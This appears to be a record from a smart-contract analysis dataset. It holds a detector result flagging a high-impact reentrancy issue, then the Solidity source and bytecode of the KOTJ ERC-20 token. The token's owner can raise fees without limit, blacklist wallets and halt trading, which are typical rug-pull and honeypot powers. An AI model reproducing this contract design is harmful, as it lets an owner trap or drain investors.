15159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b60006139328261394b565b9050919050565b600061394482613910565b9050919050565b60006139568261395d565b9050919050565b6000613968826138f0565b9050919050565b60005b8381101561398d578082015181840152602081019050613972565b8381111561399c576000848401525b50505050565b6139ab82613af1565b810181811067ffffffffffffffff821117156139ca576139c9613aa9565b5b80604052505050565b60006139de82613910565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff821415613a1157613a10613a1c565b5b600182019050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b600080fd5b600080fd5b600080fd5b600080fd5b600080fd5b6000601f19601f8301169050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b7f544f4b454e3a2054686973206163636f756e742063616e6e6f742073656e642060008201527f746f6b656e7320756e74696c2074726164696e6720697320656e61626c656400602082015250565b7f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260008201527f65666c656374696f6e7300000000000000000000000000000000000000000000602082015250565b7f544f4b454e3a204d6178205472616e73616374696f6e204c696d697400000000600082015250565b7f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160008201527f6464726573730000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b7f544f4b454e3a20596f7572206163636f756e7420697320626c61636b6c69737460008201527f6564210000000000000000000000000000000000000000000000000000000000602082015250565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b7f5472616e7366657220616d6f756e74206d75737420626520677265617465722060008201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b7f544f4b454e3a2042616c616e636520657863656564732077616c6c657420736960008201527f7a65210000000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b613eeb816138d2565b8114613ef657600080fd5b50565b613f02816138e4565b8114613f0d57600080fd5b50565b613f1981613910565b8114613f2457600080fd5b5056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220d95acdfa472197a566ce91a0d7f07a3b78e8003741dfb4a9216fb1ccc558cbc964736f6c63430008070033
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}]}}
10,201
0xdac95739880f15539811bd919278d43293346000
// SPDX-License-Identifier: Unlicensed pragma solidity ^0.8.9; abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom( address sender, address recipient, uint256 amount ) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval( address indexed owner, address indexed spender, uint256 value ); } contract Ownable is Context { address private _owner; address private _previousOwner; event OwnershipTransferred( address indexed previousOwner, address indexed newOwner ); constructor() { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); emit OwnershipTransferred(_owner, newOwner); _owner = newOwner; } } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; return c; } } interface IUniswapV2Factory { function createPair(address tokenA, address tokenB) external returns (address pair); } interface IUniswapV2Router02 { function swapExactTokensForETHSupportingFeeOnTransferTokens( uint256 amountIn, uint256 amountOutMin, address[] calldata path, address to, uint256 deadline ) external; function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidityETH( address token, uint256 amountTokenDesired, uint256 amountTokenMin, uint256 amountETHMin, address to, uint256 deadline ) external payable returns ( uint256 amountToken, uint256 amountETH, uint256 liquidity ); } contract KingOfTheJungle is Context, IERC20, Ownable { using SafeMath for uint256; string private constant _name = "King of the Jungle"; string private constant _symbol = "KOTJ"; uint8 private constant _decimals = 9; mapping(address => uint256) private _rOwned; mapping(address => uint256) private _tOwned; mapping(address => mapping(address => uint256)) private _allowances; mapping(address => bool) private _isExcludedFromFee; uint256 private constant MAX = ~uint256(0); uint256 private constant _tTotal = 1000000000000000000 * 10**9; uint256 private _rTotal = (MAX - (MAX % _tTotal)); uint256 private _tFeeTotal; uint256 private _redisFeeOnBuy = 0; uint256 private _taxFeeOnBuy = 15; uint256 private _redisFeeOnSell = 0; uint256 private _taxFeeOnSell = 30; //Original Fee uint256 private _redisFee = _redisFeeOnSell; uint256 private _taxFee = _taxFeeOnSell; uint256 private _previousredisFee = _redisFee; uint256 private _previoustaxFee = _taxFee; mapping(address => bool) public bots; mapping (address => uint256) public _buyMap; address payable private _developmentAddress = payable(0xC2397e00b282c1a66cE6A5a98f93E5018B01F15f); address payable private _marketingAddress = payable(0xC2397e00b282c1a66cE6A5a98f93E5018B01F15f); IUniswapV2Router02 public uniswapV2Router; address public uniswapV2Pair; bool private tradingOpen; bool private inSwap = false; bool private swapEnabled = true; uint256 public _maxTxAmount = 20000000000000000 * 10**9; uint256 public _maxWalletSize = 40000000000000000 * 10**9; uint256 public _swapTokensAtAmount = 100000000 * 10**9; event MaxTxAmountUpdated(uint256 _maxTxAmount); modifier lockTheSwap { inSwap = true; _; inSwap = false; } constructor() { _rOwned[_msgSender()] = _rTotal; IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);// uniswapV2Router = _uniswapV2Router; uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()) .createPair(address(this), _uniswapV2Router.WETH()); _isExcludedFromFee[owner()] = true; _isExcludedFromFee[address(this)] = true; _isExcludedFromFee[_developmentAddress] = true; _isExcludedFromFee[_marketingAddress] = true; emit Transfer(address(0), _msgSender(), _tTotal); } function name() public pure returns (string memory) { return _name; } function symbol() public pure returns (string memory) { return _symbol; } function decimals() public pure returns (uint8) { return _decimals; } function totalSupply() public pure override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { return tokenFromReflection(_rOwned[account]); } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function airdrop(address recipient, uint256 amount) external onlyOwner() { removeAllFee(); _transfer(_msgSender(), recipient, amount * 10**9); restoreAllFee(); } function airdropInternal(address recipient, uint256 amount) internal { removeAllFee(); _transfer(_msgSender(), recipient, amount); restoreAllFee(); } function airdropArray(address[] calldata newholders, uint256[] calldata amounts) external onlyOwner(){ uint256 iterator = 0; require(newholders.length == amounts.length, "must be the same length"); while(iterator < newholders.length){ airdropInternal(newholders[iterator], amounts[iterator] * 10**9); iterator += 1; } } function transferFrom( address sender, address recipient, uint256 amount ) public override returns (bool) { _transfer(sender, recipient, amount); _approve( sender, _msgSender(), _allowances[sender][_msgSender()].sub( amount, "ERC20: transfer amount exceeds allowance" ) ); return true; } function tokenFromReflection(uint256 rAmount) private view returns (uint256) { require( rAmount <= _rTotal, "Amount must be less than total reflections" ); uint256 currentRate = _getRate(); return rAmount.div(currentRate); } function removeAllFee() private { if (_redisFee == 0 && _taxFee == 0) return; _previousredisFee = _redisFee; _previoustaxFee = _taxFee; _redisFee = 0; _taxFee = 0; } function restoreAllFee() private { _redisFee = _previousredisFee; _taxFee = _previoustaxFee; } function _approve( address owner, address spender, uint256 amount ) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer( address from, address to, uint256 amount ) private { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); if (from != owner() && to != owner()) { //Trade start check if (!tradingOpen) { require(from == owner(), "TOKEN: This account cannot send tokens until trading is enabled"); } require(amount <= _maxTxAmount, "TOKEN: Max Transaction Limit"); require(!bots[from] && !bots[to], "TOKEN: Your account is blacklisted!"); if(to != uniswapV2Pair) { require(balanceOf(to) + amount < _maxWalletSize, "TOKEN: Balance exceeds wallet size!"); } uint256 contractTokenBalance = balanceOf(address(this)); bool canSwap = contractTokenBalance >= _swapTokensAtAmount; if(contractTokenBalance >= _maxTxAmount) { contractTokenBalance = _maxTxAmount; } if (canSwap && !inSwap && from != uniswapV2Pair && swapEnabled && !_isExcludedFromFee[from] && !_isExcludedFromFee[to]) { swapTokensForEth(contractTokenBalance); uint256 contractETHBalance = address(this).balance; if (contractETHBalance > 0) { sendETHToFee(address(this).balance); } } } bool takeFee = true; //Transfer Tokens if ((_isExcludedFromFee[from] || _isExcludedFromFee[to]) || (from != uniswapV2Pair && to != uniswapV2Pair)) { takeFee = false; } else { //Set Fee for Buys if(from == uniswapV2Pair && to != address(uniswapV2Router)) { _redisFee = _redisFeeOnBuy; _taxFee = _taxFeeOnBuy; } //Set Fee for Sells if (to == uniswapV2Pair && from != address(uniswapV2Router)) { _redisFee = _redisFeeOnSell; _taxFee = _taxFeeOnSell; } } _tokenTransfer(from, to, amount, takeFee); } function swapTokensForEth(uint256 tokenAmount) private lockTheSwap { address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), tokenAmount); uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, path, address(this), block.timestamp ); } function sendETHToFee(uint256 amount) private { _marketingAddress.transfer(amount); } function setTrading(bool _tradingOpen) public onlyOwner { tradingOpen = _tradingOpen; } function manualswap() external { require(_msgSender() == _developmentAddress || _msgSender() == _marketingAddress); uint256 contractBalance = balanceOf(address(this)); swapTokensForEth(contractBalance); } function manualsend() external { require(_msgSender() == _developmentAddress || _msgSender() == _marketingAddress); uint256 contractETHBalance = address(this).balance; sendETHToFee(contractETHBalance); } function blockBots(address botwallet) external onlyOwner { bots[botwallet] = true; } function unblockBot(address notbot) public onlyOwner { bots[notbot] = false; } function _tokenTransfer( address sender, address recipient, uint256 amount, bool takeFee ) private { if (!takeFee) removeAllFee(); _transferStandard(sender, recipient, amount); if (!takeFee) restoreAllFee(); } function _transferStandard( address sender, address recipient, uint256 tAmount ) private { ( uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam ) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeTeam(tTeam); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _takeTeam(uint256 tTeam) private { uint256 currentRate = _getRate(); uint256 rTeam = tTeam.mul(currentRate); _rOwned[address(this)] = _rOwned[address(this)].add(rTeam); } function _reflectFee(uint256 rFee, uint256 tFee) private { _rTotal = _rTotal.sub(rFee); _tFeeTotal = _tFeeTotal.add(tFee); } receive() external payable {} function _getValues(uint256 tAmount) private view returns ( uint256, uint256, uint256, uint256, uint256, uint256 ) { (uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _redisFee, _taxFee); uint256 currentRate = _getRate(); (uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate); return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam); } function _getTValues( uint256 tAmount, uint256 redisFee, uint256 taxFee ) private pure returns ( uint256, uint256, uint256 ) { uint256 tFee = tAmount.mul(redisFee).div(100); uint256 tTeam = tAmount.mul(taxFee).div(100); uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam); return (tTransferAmount, tFee, tTeam); } function _getRValues( uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate ) private pure returns ( uint256, uint256, uint256 ) { uint256 rAmount = tAmount.mul(currentRate); uint256 rFee = tFee.mul(currentRate); uint256 rTeam = tTeam.mul(currentRate); uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam); return (rAmount, rTransferAmount, rFee); } function _getRate() private view returns (uint256) { (uint256 rSupply, uint256 tSupply) = _getCurrentSupply(); return rSupply.div(tSupply); } function _getCurrentSupply() private view returns (uint256, uint256) { uint256 rSupply = _rTotal; uint256 tSupply = _tTotal; if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal); return (rSupply, tSupply); } function setFee(uint256 redisFeeOnBuy, uint256 redisFeeOnSell, uint256 taxFeeOnBuy, uint256 taxFeeOnSell) public onlyOwner { _redisFeeOnBuy = redisFeeOnBuy; _redisFeeOnSell = redisFeeOnSell; _taxFeeOnBuy = taxFeeOnBuy; _taxFeeOnSell = taxFeeOnSell; } //Set minimum tokens required to swap. function setMinSwapTokensThreshold(uint256 swapTokensAtAmount) public onlyOwner { _swapTokensAtAmount = swapTokensAtAmount; } //Set minimum tokens required to swap. function toggleSwap(bool _swapEnabled) public onlyOwner { swapEnabled = _swapEnabled; } //Set maximum transaction function setMaxTxnAmount(uint256 maxTxAmount) public onlyOwner { _maxTxAmount = maxTxAmount; } function setMaxWalletSize(uint256 maxWalletSize) public onlyOwner { _maxWalletSize = maxWalletSize; } function excludeFromFee(address account, bool excluded) public onlyOwner { _isExcludedFromFee[account] = excluded; } function excludeMultipleAccountsFromFees(address[] calldata accounts, bool excluded) public onlyOwner { for(uint256 i = 0; i < accounts.length; i++) { _isExcludedFromFee[accounts[i]] = excluded; } } }
0x6080604052600436106101f25760003560e01c80637f2feddc1161010d578063a9059cbb116100a0578063d4a3883f1161006f578063d4a3883f146105c3578063dd62ed3e146105e3578063df8408fe14610629578063ea1644d514610649578063f2fde38b1461066957600080fd5b8063a9059cbb1461053e578063bfd792841461055e578063c3c8cd801461058e578063c492f046146105a357600080fd5b80638f9a55c0116100dc5780638f9a55c0146104bb57806395d89b41146104d157806398a5c315146104fe578063a2a957bb1461051e57600080fd5b80637f2feddc146104305780638ba4cc3c1461045d5780638da5cb5b1461047d5780638f70ccf71461049b57600080fd5b806363c6f9121161018557806370a082311161015457806370a08231146103c5578063715018a6146103e557806374010ece146103fa5780637d1db4a51461041a57600080fd5b806363c6f9121461034e5780636b999053146103705780636d8aa8f8146103905780636fc3eaec146103b057600080fd5b806323b872dd116101c157806323b872dd146102dc5780632fd689e3146102fc578063313ce5671461031257806349bd5a5e1461032e57600080fd5b806306fdde03146101fe578063095ea7b31461024b5780631694505e1461027b57806318160ddd146102b357600080fd5b366101f957005b600080fd5b34801561020a57600080fd5b506040805180820190915260128152714b696e67206f6620746865204a756e676c6560701b60208201525b6040516102429190611b2c565b60405180910390f35b34801561025757600080fd5b5061026b610266366004611b96565b610689565b6040519015158152602001610242565b34801561028757600080fd5b5060145461029b906001600160a01b031681565b6040516001600160a01b039091168152602001610242565b3480156102bf57600080fd5b506b033b2e3c9fd0803ce80000005b604051908152602001610242565b3480156102e857600080fd5b5061026b6102f7366004611bc2565b6106a0565b34801561030857600080fd5b506102ce60185481565b34801561031e57600080fd5b5060405160098152602001610242565b34801561033a57600080fd5b5060155461029b906001600160a01b031681565b34801561035a57600080fd5b5061036e610369366004611c03565b610709565b005b34801561037c57600080fd5b5061036e61038b366004611c03565b610760565b34801561039c57600080fd5b5061036e6103ab366004611c35565b6107ab565b3480156103bc57600080fd5b5061036e6107f3565b3480156103d157600080fd5b506102ce6103e0366004611c03565b61083e565b3480156103f157600080fd5b5061036e610860565b34801561040657600080fd5b5061036e610415366004611c50565b6108d4565b34801561042657600080fd5b506102ce60165481565b34801561043c57600080fd5b506102ce61044b366004611c03565b60116020526000908152604090205481565b34801561046957600080fd5b5061036e610478366004611b96565b610903565b34801561048957600080fd5b506000546001600160a01b031661029b565b3480156104a757600080fd5b5061036e6104b6366004611c35565b610962565b3480156104c757600080fd5b506102ce60175481565b3480156104dd57600080fd5b5060408051808201909152600481526325a7aa2560e11b6020820152610235565b34801561050a57600080fd5b5061036e610519366004611c50565b6109aa565b34801561052a57600080fd5b5061036e610539366004611c69565b6109d9565b34801561054a57600080fd5b5061026b610559366004611b96565b610a17565b34801561056a57600080fd5b5061026b610579366004611c03565b60106020526000908152604090205460ff1681565b34801561059a57600080fd5b5061036e610a24565b3480156105af57600080fd5b5061036e6105be366004611ce7565b610a78565b3480156105cf57600080fd5b5061036e6105de366004611d3b565b610b19565b3480156105ef57600080fd5b506102ce6105fe366004611da7565b6001600160a01b03918216600090815260046020908152604080832093909416825291909152205490565b34801561063557600080fd5b5061036e610644366004611de0565b610c0c565b34801561065557600080fd5b5061036e610664366004611c50565b610c61565b34801561067557600080fd5b5061036e610684366004611c03565b610c90565b6000610696338484610d7a565b5060015b92915050565b60006106ad848484610e9e565b6106ff84336106fa85604051806060016040528060288152602001611f90602891396001600160a01b038a16600090815260046020908152604080832033845290915290205491906113da565b610d7a565b5060019392505050565b6000546001600160a01b0316331461073c5760405162461bcd60e51b815260040161073390611e15565b60405180910390fd5b6001600160a01b03166000908152601060205260409020805460ff19166001179055565b6000546001600160a01b0316331461078a5760405162461bcd60e51b815260040161073390611e15565b6001600160a01b03166000908152601060205260409020805460ff19169055565b6000546001600160a01b031633146107d55760405162461bcd60e51b815260040161073390611e15565b60158054911515600160b01b0260ff60b01b19909216919091179055565b6012546001600160a01b0316336001600160a01b0316148061082857506013546001600160a01b0316336001600160a01b0316145b61083157600080fd5b4761083b81611414565b50565b6001600160a01b03811660009081526002602052604081205461069a9061144e565b6000546001600160a01b0316331461088a5760405162461bcd60e51b815260040161073390611e15565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6000546001600160a01b031633146108fe5760405162461bcd60e51b815260040161073390611e15565b601655565b6000546001600160a01b0316331461092d5760405162461bcd60e51b815260040161073390611e15565b6109356114d2565b61094d338361094884633b9aca00611e60565b610e9e565b61095e600e54600c55600f54600d55565b5050565b6000546001600160a01b0316331461098c5760405162461bcd60e51b815260040161073390611e15565b60158054911515600160a01b0260ff60a01b19909216919091179055565b6000546001600160a01b031633146109d45760405162461bcd60e51b815260040161073390611e15565b601855565b6000546001600160a01b03163314610a035760405162461bcd60e51b815260040161073390611e15565b600893909355600a91909155600955600b55565b6000610696338484610e9e565b6012546001600160a01b0316336001600160a01b03161480610a5957506013546001600160a01b0316336001600160a01b0316145b610a6257600080fd5b6000610a6d3061083e565b905061083b81611500565b6000546001600160a01b03163314610aa25760405162461bcd60e51b815260040161073390611e15565b60005b82811015610b13578160056000868685818110610ac457610ac4611e7f565b9050602002016020810190610ad99190611c03565b6001600160a01b031681526020810191909152604001600020805460ff191691151591909117905580610b0b81611e95565b915050610aa5565b50505050565b6000546001600160a01b03163314610b435760405162461bcd60e51b815260040161073390611e15565b6000838214610b945760405162461bcd60e51b815260206004820152601760248201527f6d757374206265207468652073616d65206c656e6774680000000000000000006044820152606401610733565b83811015610c0557610bf3858583818110610bb157610bb1611e7f565b9050602002016020810190610bc69190611c03565b848484818110610bd857610bd8611e7f565b90506020020135633b9aca00610bee9190611e60565b611689565b610bfe600182611eb0565b9050610b94565b5050505050565b6000546001600160a01b03163314610c365760405162461bcd60e51b815260040161073390611e15565b6001600160a01b03919091166000908152600560205260409020805460ff1916911515919091179055565b6000546001600160a01b03163314610c8b5760405162461bcd60e51b815260040161073390611e15565b601755565b6000546001600160a01b03163314610cba5760405162461bcd60e51b815260040161073390611e15565b6001600160a01b038116610d1f5760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b6064820152608401610733565b600080546040516001600160a01b03808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a3600080546001600160a01b0319166001600160a01b0392909216919091179055565b6001600160a01b038316610ddc5760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b6064820152608401610733565b6001600160a01b038216610e3d5760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b6064820152608401610733565b6001600160a01b0383811660008181526004602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610f025760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b6064820152608401610733565b6001600160a01b038216610f645760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b6064820152608401610733565b60008111610fc65760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b6064820152608401610733565b6000546001600160a01b03848116911614801590610ff257506000546001600160a01b03838116911614155b156112d357601554600160a01b900460ff1661108b576000546001600160a01b0384811691161461108b5760405162461bcd60e51b815260206004820152603f60248201527f544f4b454e3a2054686973206163636f756e742063616e6e6f742073656e642060448201527f746f6b656e7320756e74696c2074726164696e6720697320656e61626c6564006064820152608401610733565b6016548111156110dd5760405162461bcd60e51b815260206004820152601c60248201527f544f4b454e3a204d6178205472616e73616374696f6e204c696d6974000000006044820152606401610733565b6001600160a01b03831660009081526010602052604090205460ff1615801561111f57506001600160a01b03821660009081526010602052604090205460ff16155b6111775760405162461bcd60e51b815260206004820152602360248201527f544f4b454e3a20596f7572206163636f756e7420697320626c61636b6c69737460448201526265642160e81b6064820152608401610733565b6015546001600160a01b038381169116146111fc57601754816111998461083e565b6111a39190611eb0565b106111fc5760405162461bcd60e51b815260206004820152602360248201527f544f4b454e3a2042616c616e636520657863656564732077616c6c65742073696044820152627a652160e81b6064820152608401610733565b60006112073061083e565b6018546016549192508210159082106112205760165491505b8080156112375750601554600160a81b900460ff16155b801561125157506015546001600160a01b03868116911614155b80156112665750601554600160b01b900460ff165b801561128b57506001600160a01b03851660009081526005602052604090205460ff16155b80156112b057506001600160a01b03841660009081526005602052604090205460ff16155b156112d0576112be82611500565b4780156112ce576112ce47611414565b505b50505b6001600160a01b03831660009081526005602052604090205460019060ff168061131557506001600160a01b03831660009081526005602052604090205460ff165b8061134757506015546001600160a01b0385811691161480159061134757506015546001600160a01b03848116911614155b15611354575060006113ce565b6015546001600160a01b03858116911614801561137f57506014546001600160a01b03848116911614155b1561139157600854600c55600954600d555b6015546001600160a01b0384811691161480156113bc57506014546001600160a01b03858116911614155b156113ce57600a54600c55600b54600d555b610b138484848461169c565b600081848411156113fe5760405162461bcd60e51b81526004016107339190611b2c565b50600061140b8486611ec8565b95945050505050565b6013546040516001600160a01b039091169082156108fc029083906000818181858888f1935050505015801561095e573d6000803e3d6000fd5b60006006548211156114b55760405162461bcd60e51b815260206004820152602a60248201527f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260448201526965666c656374696f6e7360b01b6064820152608401610733565b60006114bf6116ca565b90506114cb83826116ed565b9392505050565b600c541580156114e25750600d54155b156114e957565b600c8054600e55600d8054600f5560009182905555565b6015805460ff60a81b1916600160a81b179055604080516002808252606082018352600092602083019080368337019050509050308160008151811061154857611548611e7f565b6001600160a01b03928316602091820292909201810191909152601454604080516315ab88c960e31b81529051919093169263ad5c4648926004808301939192829003018186803b15801561159c57600080fd5b505afa1580156115b0573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906115d49190611edf565b816001815181106115e7576115e7611e7f565b6001600160a01b03928316602091820292909201015260145461160d9130911684610d7a565b60145460405163791ac94760e01b81526001600160a01b039091169063791ac94790611646908590600090869030904290600401611efc565b600060405180830381600087803b15801561166057600080fd5b505af1158015611674573d6000803e3d6000fd5b50506015805460ff60a81b1916905550505050565b6116916114d2565b61094d338383610e9e565b806116a9576116a96114d2565b6116b484848461172f565b80610b1357610b13600e54600c55600f54600d55565b60008060006116d7611826565b90925090506116e682826116ed565b9250505090565b60006114cb83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f00000000000081525061186e565b6000806000806000806117418761189c565b6001600160a01b038f16600090815260026020526040902054959b5093995091975095509350915061177390876118f9565b6001600160a01b03808b1660009081526002602052604080822093909355908a16815220546117a2908661193b565b6001600160a01b0389166000908152600260205260409020556117c48161199a565b6117ce84836119e4565b876001600160a01b0316896001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8560405161181391815260200190565b60405180910390a3505050505050505050565b60065460009081906b033b2e3c9fd0803ce800000061184582826116ed565b821015611865575050600654926b033b2e3c9fd0803ce800000092509050565b90939092509050565b6000818361188f5760405162461bcd60e51b81526004016107339190611b2c565b50600061140b8486611f6d565b60008060008060008060008060006118b98a600c54600d54611a08565b92509250925060006118c96116ca565b905060008060006118dc8e878787611a5d565b919e509c509a509598509396509194505050505091939550919395565b60006114cb83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f7700008152506113da565b6000806119488385611eb0565b9050838110156114cb5760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f7700000000006044820152606401610733565b60006119a46116ca565b905060006119b28383611aad565b306000908152600260205260409020549091506119cf908261193b565b30600090815260026020526040902055505050565b6006546119f190836118f9565b600655600754611a01908261193b565b6007555050565b6000808080611a226064611a1c8989611aad565b906116ed565b90506000611a356064611a1c8a89611aad565b90506000611a4d82611a478b866118f9565b906118f9565b9992985090965090945050505050565b6000808080611a6c8886611aad565b90506000611a7a8887611aad565b90506000611a888888611aad565b90506000611a9a82611a4786866118f9565b939b939a50919850919650505050505050565b600082611abc5750600061069a565b6000611ac88385611e60565b905082611ad58583611f6d565b146114cb5760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b6064820152608401610733565b600060208083528351808285015260005b81811015611b5957858101830151858201604001528201611b3d565b81811115611b6b576000604083870101525b50601f01601f1916929092016040019392505050565b6001600160a01b038116811461083b57600080fd5b60008060408385031215611ba957600080fd5b8235611bb481611b81565b946020939093013593505050565b600080600060608486031215611bd757600080fd5b8335611be281611b81565b92506020840135611bf281611b81565b929592945050506040919091013590565b600060208284031215611c1557600080fd5b81356114cb81611b81565b80358015158114611c3057600080fd5b919050565b600060208284031215611c4757600080fd5b6114cb82611c20565b600060208284031215611c6257600080fd5b5035919050565b60008060008060808587031215611c7f57600080fd5b5050823594602084013594506040840135936060013592509050565b60008083601f840112611cad57600080fd5b50813567ffffffffffffffff811115611cc557600080fd5b6020830191508360208260051b8501011115611ce057600080fd5b9250929050565b600080600060408486031215611cfc57600080fd5b833567ffffffffffffffff811115611d1357600080fd5b611d1f86828701611c9b565b9094509250611d32905060208501611c20565b90509250925092565b60008060008060408587031215611d5157600080fd5b843567ffffffffffffffff80821115611d6957600080fd5b611d7588838901611c9b565b90965094506020870135915080821115611d8e57600080fd5b50611d9b87828801611c9b565b95989497509550505050565b60008060408385031215611dba57600080fd5b8235611dc581611b81565b91506020830135611dd581611b81565b809150509250929050565b60008060408385031215611df357600080fd5b8235611dfe81611b81565b9150611e0c60208401611c20565b90509250929050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b634e487b7160e01b600052601160045260246000fd5b6000816000190483118215151615611e7a57611e7a611e4a565b500290565b634e487b7160e01b600052603260045260246000fd5b6000600019821415611ea957611ea9611e4a565b5060010190565b60008219821115611ec357611ec3611e4a565b500190565b600082821015611eda57611eda611e4a565b500390565b600060208284031215611ef157600080fd5b81516114cb81611b81565b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b81811015611f4c5784516001600160a01b031683529383019391830191600101611f27565b50506001600160a01b03969096166060850152505050608001529392505050565b600082611f8a57634e487b7160e01b600052601260045260246000fd5b50049056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a26469706673582212207736b9fdc466ef7bc79626d9b155ae5baed3432d7383ac58de6b03690ea3902b64736f6c63430008090033
